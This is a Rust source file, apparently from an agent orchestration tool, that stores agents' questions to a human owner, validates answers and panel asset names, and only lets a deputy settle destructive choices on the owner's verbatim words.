1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 10;
63
64const POLL: Duration = Duration::from_secs(3);
73
74const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
85
86const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
92
93const WAIT_SLICE: Duration = Duration::from_secs(240);
117
118pub const LEASE_TTL: Duration = Duration::from_secs(90);
128
129const LOCK_STALE: Duration = Duration::from_secs(10);
132
133pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
144
145pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
154
155const PANEL_DIR: &str = ".panel";
161
162const PANEL_HTML: &str = "index.html";
164
165const PANEL_TMP: &str = ".panel.tmp";
167
168pub fn valid_asset_name(name: &str) -> bool {
185 if name.is_empty() || name.len() > 64 || name.contains("..") {
186 return false;
187 }
188 let mut chars = name.chars();
189 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
190 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
191}
192
193#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
195#[serde(rename_all = "lowercase")]
196pub enum QuestionStatus {
197 Open,
199 Answered,
201 Abandoned,
205}
206
207impl QuestionStatus {
208 pub fn open(self) -> bool {
210 matches!(self, Self::Open)
211 }
212
213 pub fn as_str(self) -> &'static str {
215 match self {
216 Self::Open => "open",
217 Self::Answered => "answered",
218 Self::Abandoned => "abandoned",
219 }
220 }
221}
222
223#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
230#[serde(rename_all = "lowercase")]
231pub enum Answer {
232 Choice(String),
234 Text(String),
236}
237
238#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(tag = "do", rename_all = "lowercase")]
247pub enum ChoiceAction {
248 Resume {
250 run: String,
252 },
253 Requeue,
255 Done,
257}
258
259impl ChoiceAction {
260 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
265 let Some((label, verb)) = spec.rsplit_once('=') else {
266 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
267 };
268 let label = label.trim();
269 if label.is_empty() {
270 bail!("`--action {spec}` names no choice before `=`");
271 }
272 let verb = verb.trim();
273 let action = match verb.split_once(':') {
274 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
275 run: run.trim().to_owned(),
276 },
277 None if verb == "resume" => {
278 if default_run.is_empty() {
279 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
280 }
281 Self::Resume {
282 run: default_run.to_owned(),
283 }
284 }
285 None if verb == "requeue" => Self::Requeue,
286 None if verb == "done" => Self::Done,
287 _ => bail!(
288 "unknown action `{verb}` in `--action {spec}`; \
289 use resume[:<run>], requeue or done"
290 ),
291 };
292 Ok((label.to_owned(), action))
293 }
294
295 pub fn describe(&self) -> String {
297 match self {
298 Self::Resume { run } => format!("resume run {}", short(run)),
299 Self::Requeue => "requeue the task".to_owned(),
300 Self::Done => "mark the task done".to_owned(),
301 }
302 }
303}
304
305pub fn parse_actions(
308 specs: &[String],
309 choices: &[String],
310 default_run: &str,
311) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
312 let mut out = std::collections::BTreeMap::new();
313 for spec in specs {
314 let (label, action) = ChoiceAction::parse(spec, default_run)?;
315 if !choices.contains(&label) {
316 bail!(
317 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
318 choices.join(", ")
319 );
320 }
321 if out.insert(label.clone(), action).is_some() {
322 bail!("more than one --action for `{label}`");
323 }
324 }
325 Ok(out)
326}
327
328#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
339#[serde(rename_all = "lowercase")]
340pub enum Who {
341 Operator,
343 Agent,
346}
347
348#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
356#[serde(deny_unknown_fields)]
357pub struct Turn {
358 pub who: Who,
360 pub body: String,
362 pub at: Timestamp,
364 #[serde(default, skip_serializing_if = "Option::is_none")]
369 pub note: Option<String>,
370}
371
372#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
374#[serde(rename_all = "lowercase")]
375pub enum WaiterKind {
376 Asker,
378 Daemon,
381 Deputy,
385}
386
387#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
399pub struct Deputy {
400 pub brief: String,
403 #[serde(default)]
405 pub agent: String,
406 #[serde(default)]
408 pub seat: Option<crate::agent::SeatState>,
409 #[serde(default)]
412 pub starts: u32,
413}
414
415impl Deputy {
416 pub fn new(brief: String) -> Self {
418 Self {
419 brief,
420 agent: String::new(),
421 seat: None,
422 starts: 0,
423 }
424 }
425}
426
427pub fn deputy_seat_key(id: &str) -> String {
429 format!("deputy-{}", short(id))
430}
431
432#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
437pub struct Waiter {
438 pub kind: WaiterKind,
440 pub since: Timestamp,
442}
443
444#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
453pub struct Lease {
454 pub kind: WaiterKind,
456 pub pid: u32,
458 pub beat_at: Timestamp,
460}
461
462impl Lease {
463 pub fn fresh(&self, now: Timestamp) -> bool {
465 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
466 }
467}
468
469#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
471#[serde(deny_unknown_fields)]
472pub struct Question {
473 pub schema: u32,
475 pub id: String,
478 pub run: String,
480 pub node: String,
482 pub seat: String,
485 pub summary: String,
488 pub detail: String,
491 #[serde(default, skip_serializing_if = "Option::is_none")]
493 pub posting_comparison: Option<crate::github_text::PostingComparison>,
494 pub choices: Vec<String>,
498 #[serde(default)]
502 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
503 #[serde(default)]
510 pub panel: bool,
511 #[serde(default)]
518 pub assets: Vec<String>,
519 pub status: QuestionStatus,
521 pub asked_at: Timestamp,
523 #[serde(default)]
525 pub triage_generation: Option<u64>,
526 pub answered_at: Option<Timestamp>,
528 pub answer: Option<Answer>,
530 #[serde(default)]
539 pub thread: Vec<Turn>,
540 #[serde(default)]
555 pub answer_timeout: u64,
556 #[serde(default)]
562 pub cwd: Option<String>,
563 #[serde(default)]
565 pub waiter: Option<Waiter>,
566 #[serde(default)]
570 pub delivered_turns: usize,
571 #[serde(default)]
574 pub answer_delivered: bool,
575 #[serde(default)]
578 pub deputy: Option<Deputy>,
579 #[serde(default)]
583 pub consult: Option<ChatConsult>,
584}
585
586#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
588pub struct ChatConsult {
589 pub talk: String,
591 pub at: Timestamp,
593}
594
595impl Question {
596 pub fn run_names_task(&self) -> bool {
599 matches!(
600 self.node.as_str(),
601 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
602 )
603 }
604
605 pub fn new(
608 run: String,
609 node: String,
610 seat: String,
611 summary: String,
612 detail: String,
613 choices: Vec<String>,
614 ) -> Self {
615 Self {
616 schema: SCHEMA,
617 id: new_id(),
618 run,
619 node,
620 seat,
621 summary,
622 detail,
623 posting_comparison: None,
624 choices,
625 actions: std::collections::BTreeMap::new(),
626 panel: false,
627 assets: Vec::new(),
628 status: QuestionStatus::Open,
629 asked_at: Timestamp::now(),
630 triage_generation: None,
631 answered_at: None,
632 answer: None,
633 thread: Vec::new(),
634 answer_timeout: 0,
635 cwd: None,
636 waiter: None,
637 delivered_turns: 0,
638 answer_delivered: false,
639 deputy: None,
640 consult: None,
641 }
642 }
643
644 pub fn short(&self) -> &str {
646 short(&self.id)
647 }
648
649 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
652 match (&self.status, &self.answer) {
653 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
654 _ => None,
655 }
656 }
657
658 pub fn free_text(&self) -> bool {
660 self.choices.is_empty()
661 }
662
663 pub fn answer(&mut self, answer: Answer) -> Result<()> {
673 match self.status {
674 QuestionStatus::Answered => bail!(
675 "question {} was already answered; the run has moved on and a \
676 second answer would be a decision nobody acted on",
677 self.short()
678 ),
679 QuestionStatus::Abandoned => bail!(
680 "question {} was abandoned and the run behind it is gone",
681 self.short()
682 ),
683 QuestionStatus::Open => {}
684 }
685 let body = match &answer {
686 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
687 };
688 if body.trim().is_empty() {
689 bail!(
690 "question {} needs an answer; an empty one tells the agent \
691 nothing and it would guess anyway",
692 self.short()
693 );
694 }
695 match &answer {
696 Answer::Choice(c) if self.free_text() => bail!(
697 "question {} asks for free text, so `{c}` cannot be a choice \
698 it offered",
699 self.short()
700 ),
701 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
702 "`{c}` is not one of the choices question {} offers: {}",
703 self.short(),
704 self.choices.join(", ")
705 ),
706 Answer::Text(_) if !self.free_text() => bail!(
707 "question {} is multiple choice; answer with one of: {}",
708 self.short(),
709 self.choices.join(", ")
710 ),
711 _ => {}
712 }
713 self.answered_at = Some(Timestamp::now());
714 self.answer = Some(answer);
715 self.status = QuestionStatus::Answered;
716 Ok(())
717 }
718
719 pub fn abandon(&mut self, why: impl Into<String>) {
731 if !self.status.open() {
732 return;
733 }
734 self.status = QuestionStatus::Abandoned;
735 let why = why.into();
736 let why = why.trim();
737 if why.is_empty() {
738 return;
739 }
740 if !self.detail.is_empty() {
741 self.detail.push('\n');
742 }
743 self.detail.push_str("\n_Abandoned: ");
744 self.detail.push_str(why);
745 self.detail.push_str("._\n");
746 }
747
748 pub fn resolution(&self) -> Option<String> {
755 match (self.status, &self.answer) {
756 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
757 Some(a.clone())
758 }
759 _ => None,
760 }
761 }
762
763 pub fn settle_by_deputy(
774 &mut self,
775 seat: &str,
776 label: &str,
777 quote: &str,
778 note: Option<&str>,
779 ) -> Result<()> {
780 let Some(deputy) = &self.deputy else {
781 bail!("question {} has no deputy", self.short());
782 };
783 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
784 if own != Some(seat) {
785 bail!("only the deputy of question {} may settle it", self.short());
786 }
787 if !self.choices.iter().any(|c| c == label) {
788 bail!(
789 "`{label}` is not one of the choices offered on question {}",
790 self.short()
791 );
792 }
793 let quote = quote.trim();
794 if quote.is_empty()
795 || !self
796 .thread
797 .iter()
798 .any(|t| t.who == Who::Operator && t.body.contains(quote))
799 {
800 bail!(
801 "the quote is not something the owner said on question {}",
802 self.short()
803 );
804 }
805 let latest = self
808 .thread
809 .iter()
810 .rev()
811 .find(|t| t.who == Who::Operator)
812 .map(|t| {
813 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
814 t.body.as_str()
815 } else {
816 t.body.trim()
817 }
818 });
819 if crate::deputy::merge_gated(self) {
820 let ok = if label == crate::land::APPROVE {
826 latest.is_some_and(|m| m.contains(quote))
827 } else if label == crate::land::HOLD || label == crate::land::REPAIR {
828 latest.is_some_and(|m| {
829 quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
830 })
831 } else {
832 false
833 };
834 if !ok {
835 bail!(
836 "on a merge approval `{label}` settles it only when the quote is a \
837 verbatim part of the owner's latest message ({}); if the wording is \
838 doubtful, ask what they mean with `--thread` instead",
839 if label == crate::land::HOLD {
840 "for `hold`, the whole message"
841 } else {
842 "the quote must be the instruction itself"
843 }
844 );
845 }
846 } else if self.node == crate::github_text::ASK_NODE
847 && crate::deputy::destructive(self, label)
848 {
849 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
850 bail!(
851 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
852 );
853 }
854 } else if crate::deputy::destructive(self, label)
855 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
856 {
857 bail!(
858 "`{label}` cannot be undone; it settles question {} only when the owner's \
859 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
860 / not / question); ask what they mean with `--thread` instead",
861 self.short()
862 );
863 }
864 self.thread.push(Turn {
865 who: Who::Agent,
866 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
867 at: Timestamp::now(),
868 note: note
869 .map(str::trim)
870 .filter(|n| !n.is_empty())
871 .map(str::to_owned),
872 });
873 self.delivered_turns = self.thread.len();
874 self.answer(Answer::Choice(label.to_owned()))
875 }
876
877 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
888 match self.status {
889 QuestionStatus::Answered => bail!(
890 "question {} was already answered; there is nothing left to \
891 discuss",
892 self.short()
893 ),
894 QuestionStatus::Abandoned => bail!(
895 "question {} was abandoned and the run behind it is gone",
896 self.short()
897 ),
898 QuestionStatus::Open => {}
899 }
900 let body = body.into();
901 if body.trim().is_empty() {
902 bail!("a message to question {} cannot be empty", self.short());
903 }
904 self.thread.push(Turn {
905 who: Who::Operator,
906 body,
907 at: Timestamp::now(),
908 note: None,
909 });
910 Ok(())
911 }
912
913 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
923 match self.status {
924 QuestionStatus::Answered => bail!(
925 "question {} was already answered; replying now would not \
926 reach anyone",
927 self.short()
928 ),
929 QuestionStatus::Abandoned => bail!(
930 "question {} was abandoned and the run behind it is gone",
931 self.short()
932 ),
933 QuestionStatus::Open => {}
934 }
935 let body = body.into();
936 if body.trim().is_empty() {
937 bail!("a reply to question {} cannot be empty", self.short());
938 }
939 self.actions.retain(|label, _| choices.contains(label));
941 self.choices = choices;
942 let unread = self.unread_from_owner().is_some();
943 self.thread.push(Turn {
944 who: Who::Agent,
945 body,
946 at: Timestamp::now(),
947 note: None,
948 });
949 if !unread {
953 self.delivered_turns = self.thread.len();
954 }
955 Ok(())
956 }
957
958 pub fn unread_from_owner(&self) -> Option<String> {
965 if !self.status.open() {
966 return None;
967 }
968 let said = self.undelivered_owner_turns();
969 (!said.is_empty()).then(|| said.join("\n\n"))
970 }
971
972 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
978 let from = self.delivered_turns.min(self.thread.len());
979 self.thread[from..]
980 .iter()
981 .filter(|t| t.who == Who::Operator)
982 .map(|t| t.body.as_str())
983 .collect()
984 }
985
986 pub fn last_activity(&self) -> i64 {
990 self.thread
991 .iter()
992 .map(|t| t.at.as_second())
993 .max()
994 .unwrap_or(0)
995 .max(self.asked_at.as_second())
996 }
997
998 pub fn waiting_on_agent(&self) -> bool {
1007 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1008 }
1009
1010 fn should_notify(&self, now: Timestamp) -> bool {
1018 let Some(last) = self
1019 .thread
1020 .iter()
1021 .rev()
1022 .find(|t| t.who == Who::Operator)
1023 .map(|t| t.at)
1024 else {
1025 return true;
1026 };
1027 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1028 }
1029}
1030
1031#[derive(Debug, Clone)]
1033pub struct Questions {
1034 root: PathBuf,
1035}
1036
1037impl Questions {
1038 pub fn open() -> Self {
1040 Self::at(crate::run::home().join("questions"))
1041 }
1042
1043 pub fn at(root: PathBuf) -> Self {
1046 Self { root }
1047 }
1048
1049 pub fn root(&self) -> &Path {
1051 &self.root
1052 }
1053
1054 pub fn path_of(&self, id: &str) -> PathBuf {
1056 self.root.join(format!("{id}.json"))
1057 }
1058
1059 pub fn panel_dir(&self, id: &str) -> PathBuf {
1061 self.root.join(format!("{id}{PANEL_DIR}"))
1062 }
1063
1064 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1088 if !valid_asset_name(&q.id) {
1089 bail!(
1090 "question id `{}` is not a name magi will build a panel path from",
1091 q.id
1092 );
1093 }
1094 if html.trim().is_empty() {
1095 bail!(
1096 "question {} was handed an empty panel; an empty frame reads to \
1097 the owner as \"the agent had nothing to say\", which is a lie",
1098 q.short()
1099 );
1100 }
1101
1102 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1105 for src in assets {
1106 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1107 if !valid_asset_name(name) {
1108 bail!(
1109 "panel asset `{}` cannot be stored: a panel file name must \
1110 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1111 src.display()
1112 );
1113 }
1114 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1115 bail!(
1116 "two panel assets are both named `{name}` - {} and {} - and \
1117 the panel can only show one of them; rename one at the source",
1118 first.display(),
1119 src.display()
1120 );
1121 }
1122 named.push((name.to_owned(), src.as_path()));
1123 }
1124
1125 let mut total = html.len() as u64;
1126 for (_, src) in &named {
1127 let meta = std::fs::metadata(src)
1128 .with_context(|| format!("stat panel asset {}", src.display()))?;
1129 if !meta.is_file() {
1130 bail!(
1131 "panel asset `{}` is not a file; a panel is html plus files \
1132 copied beside it",
1133 src.display()
1134 );
1135 }
1136 total = total.saturating_add(meta.len());
1137 }
1138 if total > PANEL_MAX_BYTES {
1139 bail!(
1140 "panel for question {} is {total} bytes, over magi's cap of \
1141 {PANEL_MAX_BYTES} bytes; nothing was written",
1142 q.short()
1143 );
1144 }
1145
1146 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1147 let dir = self.panel_dir(&q.id);
1148 std::fs::create_dir_all(&self.root)
1149 .with_context(|| format!("create {}", self.root.display()))?;
1150 clear_dir(&tmp)?;
1151 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1152 if let Err(e) = fill_panel(&tmp, html, &named) {
1153 let _ = std::fs::remove_dir_all(&tmp);
1156 return Err(e);
1157 }
1158 clear_dir(&dir)?;
1159 std::fs::rename(&tmp, &dir)
1160 .with_context(|| format!("move panel into {}", dir.display()))?;
1161
1162 q.panel = true;
1163 q.assets = named.into_iter().map(|(n, _)| n).collect();
1164 q.assets.sort_unstable();
1165 Ok(())
1166 }
1167
1168 pub fn panel_html(&self, id: &str) -> Option<String> {
1174 if !valid_asset_name(id) {
1175 return None;
1176 }
1177 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1178 }
1179
1180 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1191 if !valid_asset_name(name) {
1192 bail!(
1193 "`{name}` is not a panel file name; it must match \
1194 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1195 );
1196 }
1197 if !valid_asset_name(id) {
1198 return Ok(None);
1199 }
1200 let dir = self.panel_dir(id);
1201 if !dir.is_dir() {
1202 return Ok(None);
1203 }
1204 let path = dir.join(name);
1205 match std::fs::read(&path) {
1206 Ok(bytes) => Ok(Some(bytes)),
1207 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1208 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1209 }
1210 }
1211
1212 pub fn drop_panel(&self, id: &str) -> Result<()> {
1221 if !valid_asset_name(id) {
1222 bail!("question id `{id}` is not a name magi will build a panel path from");
1223 }
1224 clear_dir(&self.panel_dir(id))?;
1225 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1226 }
1227
1228 pub fn lease_path(&self, id: &str) -> PathBuf {
1230 self.root.join(format!("{id}.lease"))
1231 }
1232
1233 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1235 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1236 serde_json::from_str(&body).ok()
1237 }
1238
1239 pub fn beat(&self, id: &str, kind: WaiterKind) {
1246 let lease = Lease {
1247 kind,
1248 pid: std::process::id(),
1249 beat_at: Timestamp::now(),
1250 };
1251 let path = self.lease_path(id);
1252 let tmp = path.with_extension("lease.tmp");
1253 let written = std::fs::create_dir_all(&self.root)
1254 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1255 .and_then(|()| std::fs::rename(&tmp, &path));
1256 if let Err(e) = written {
1257 tracing::debug!("could not beat the lease on question {id}: {e}");
1258 }
1259 }
1260
1261 pub fn drop_lease(&self, id: &str) {
1263 let _ = std::fs::remove_file(self.lease_path(id));
1264 }
1265
1266 pub fn update<T>(
1277 &self,
1278 id: &str,
1279 f: impl FnOnce(&mut Question) -> Result<T>,
1280 ) -> Result<(Question, T)> {
1281 std::fs::create_dir_all(&self.root)
1282 .with_context(|| format!("create {}", self.root.display()))?;
1283 let lock = self.root.join(format!("{id}.lock"));
1284 let started = std::time::Instant::now();
1285 loop {
1286 match std::fs::OpenOptions::new()
1287 .write(true)
1288 .create_new(true)
1289 .open(&lock)
1290 {
1291 Ok(_) => break,
1292 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1293 let stale = std::fs::metadata(&lock)
1294 .and_then(|m| m.modified())
1295 .ok()
1296 .and_then(|t| t.elapsed().ok())
1297 .is_some_and(|age| age > LOCK_STALE);
1298 if stale {
1299 let _ = std::fs::remove_file(&lock);
1300 } else if started.elapsed() > LOCK_STALE {
1301 bail!("could not lock question {id}");
1302 } else {
1303 std::thread::sleep(Duration::from_millis(15));
1304 }
1305 }
1306 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1307 }
1308 }
1309 struct Unlock(PathBuf);
1310 impl Drop for Unlock {
1311 fn drop(&mut self) {
1312 let _ = std::fs::remove_file(&self.0);
1313 }
1314 }
1315 let _guard = Unlock(lock);
1316 let mut q = read_path(&self.path_of(id))?;
1317 let out = f(&mut q)?;
1318 self.put(&mut q)?;
1319 Ok((q, out))
1320 }
1321
1322 pub fn put(&self, q: &mut Question) -> Result<()> {
1326 std::fs::create_dir_all(&self.root)
1327 .with_context(|| format!("create {}", self.root.display()))?;
1328 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1329 let path = self.path_of(&q.id);
1330 let tmp = path.with_extension("json.tmp");
1331 let is_new = !path.exists();
1332 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1333 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1334 if is_new
1337 && q.status.open()
1338 && q.node != crate::bump::NOTICE_NODE
1339 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1340 {
1341 crate::notices::quiet_for(home, q);
1342 }
1343 Ok(())
1344 }
1345
1346 pub fn get(&self, id: &str) -> Result<Question> {
1348 let resolved = self.resolve_id(id)?;
1349 let q = read_path(&self.path_of(&resolved))?;
1350 Ok(self.with_repair_choice(q))
1351 }
1352
1353 fn with_repair_choice(&self, q: Question) -> Question {
1354 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1355 && q.node == crate::land::APPROVAL_NODE
1356 && (!q.choices.iter().any(|c| c == crate::land::REPAIR)
1357 || q.actions.get(crate::land::REPAIR)
1358 != Some(&ChoiceAction::Resume { run: q.run.clone() }))
1359 && let Some(home) = self.root.parent()
1360 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1361 && crate::land::repair_available(&state)
1362 && state
1363 .land_approval
1364 .as_ref()
1365 .is_some_and(|a| a.question == q.id)
1366 {
1367 match self.update(&q.id, |current| {
1368 crate::land::upgrade_repair_choice(current, &state);
1369 Ok(())
1370 }) {
1371 Ok((current, ())) => return current,
1372 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1373 }
1374 }
1375 q
1376 }
1377
1378 pub fn list(&self) -> Vec<Question> {
1386 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1387 .into_iter()
1388 .flatten()
1389 .flatten()
1390 .map(|e| e.path())
1391 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1392 .filter_map(|p| read_path(&p).ok())
1393 .map(|q| self.with_repair_choice(q))
1394 .collect();
1395 all.sort_unstable_by(|a, b| {
1396 let rank = |q: &Question| u8::from(!q.status.open());
1397 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1398 });
1399 all
1400 }
1401
1402 pub fn open_for(&self, run: &str) -> Vec<Question> {
1408 self.list()
1409 .into_iter()
1410 .filter(|q| q.status.open() && q.run == run)
1411 .collect()
1412 }
1413
1414 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1427 let mut abandoned = 0;
1428 for mut q in self.open_for(run) {
1429 q.abandon(why);
1430 self.put(&mut q)?;
1431 abandoned += 1;
1432 }
1433 Ok(abandoned)
1434 }
1435
1436 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1460 if status.resumable() {
1461 return Ok(0);
1462 }
1463 let why = format!(
1464 "run {run} {}, so nothing is waiting for this answer",
1465 status.as_str()
1466 );
1467 let mut abandoned = 0;
1472 for mut q in self.open_for(run) {
1473 if q.node == crate::bump::NOTICE_NODE {
1474 continue;
1475 }
1476 q.abandon(&why);
1477 self.put(&mut q)?;
1478 abandoned += 1;
1479 }
1480 Ok(abandoned)
1481 }
1482
1483 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1486 use crate::queue::{Reference, record_ids, resolve_reference};
1487 let ids = record_ids(&self.root, "json")?;
1488 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1489 Reference::Found(id) => Ok(id),
1490 Reference::Missing => bail!("no question matches `{prefix}`"),
1491 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1492 }
1493 }
1494
1495 pub fn revision(&self) -> u64 {
1499 std::fs::read_dir(&self.root)
1500 .into_iter()
1501 .flatten()
1502 .flatten()
1503 .filter_map(|e| e.metadata().ok())
1504 .filter_map(|m| m.modified().ok())
1505 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1506 .map(|d| d.as_millis() as u64)
1507 .max()
1508 .unwrap_or(0)
1509 }
1510
1511 pub fn count_open(&self) -> usize {
1517 self.list().iter().filter(|q| q.status.open()).count()
1518 }
1519
1520 pub fn count_needs_owner(&self) -> usize {
1529 self.list()
1530 .iter()
1531 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1532 .count()
1533 }
1534
1535 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1539 q.status.open()
1540 && q.deputy
1541 .as_ref()
1542 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1543 && !self
1544 .read_lease(&q.id)
1545 .is_some_and(|l| l.fresh(Timestamp::now()))
1546 }
1547}
1548
1549#[derive(Debug, Clone, PartialEq, Eq)]
1551pub enum Wait {
1552 Answered(String),
1554 Replied(String),
1559 Pending,
1566 Abandoned,
1571}
1572
1573pub async fn ask_and_wait(
1580 q: &mut Question,
1581 store: &Questions,
1582 notify: &config::Notify,
1583 timeout: Duration,
1584) -> Result<Wait> {
1585 wait_for_owner(q, store, notify, timeout, POLL).await
1586}
1587
1588pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1603 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1604}
1605
1606async fn wait_for_owner(
1612 q: &mut Question,
1613 store: &Questions,
1614 cfg: &config::Notify,
1615 timeout: Duration,
1616 poll: Duration,
1617) -> Result<Wait> {
1618 if !store.path_of(&q.id).is_file() {
1622 store.put(q).context("file the question")?;
1623 }
1624 if q.should_notify(Timestamp::now()) {
1625 if let Err(e) = notify(cfg, q).await {
1626 tracing::warn!(
1631 "could not notify about question {}: {e:#} - the web UI is the \
1632 only surface for it now",
1633 q.short()
1634 );
1635 }
1636 }
1637 tracing::info!(
1638 "question {} from {} is waiting for you: {}",
1639 q.short(),
1640 q.seat,
1641 q.summary
1642 );
1643 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1644}
1645
1646fn hold(store: &Questions, id: &str) {
1648 store.beat(id, WaiterKind::Asker);
1649 let took = store.update(id, |q| {
1650 if q.status.open() {
1651 q.waiter = Some(Waiter {
1652 kind: WaiterKind::Asker,
1653 since: Timestamp::now(),
1654 });
1655 }
1656 Ok(())
1657 });
1658 if let Err(e) = took {
1659 tracing::debug!("could not note the wait on question {id}: {e:#}");
1660 }
1661}
1662
1663pub fn hand_over(store: &Questions, q: &mut Question) {
1671 let done = store.update(&q.id, |r| {
1672 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1673 if r.status == QuestionStatus::Answered {
1674 r.answer_delivered = true;
1675 }
1676 r.waiter = None;
1677 Ok(())
1678 });
1679 match done {
1680 Ok((fresh, ())) => *q = fresh,
1681 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1682 }
1683}
1684
1685pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1689 let says = q.undelivered_owner_turns();
1690 if says.is_empty() {
1691 return answer.to_owned();
1692 }
1693 format!(
1694 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1695 says.join("\n\n")
1696 )
1697}
1698
1699pub fn deliver_answer(
1702 store: &Questions,
1703 q: &mut Question,
1704 answer: &str,
1705 out: &mut impl std::io::Write,
1706) -> std::io::Result<()> {
1707 writeln!(out, "{}", answer_for_agent(q, answer))?;
1708 out.flush()?;
1709 hand_over(store, q);
1710 Ok(())
1711}
1712
1713async fn wait_loop(
1723 q: &mut Question,
1724 store: &Questions,
1725 timeout: Duration,
1726 slice: Duration,
1727 poll: Duration,
1728) -> Result<Wait> {
1729 if let Some(said) = q.unread_from_owner() {
1739 return Ok(Wait::Replied(said));
1740 }
1741 hold(store, &q.id);
1742
1743 let bounded = timeout.min(slice);
1744 let is_the_real_deadline = bounded >= timeout;
1745 let deadline = tokio::time::Instant::now() + bounded;
1746 loop {
1747 let now = tokio::time::Instant::now();
1748 if now >= deadline {
1749 if !is_the_real_deadline {
1750 return Ok(Wait::Pending);
1754 }
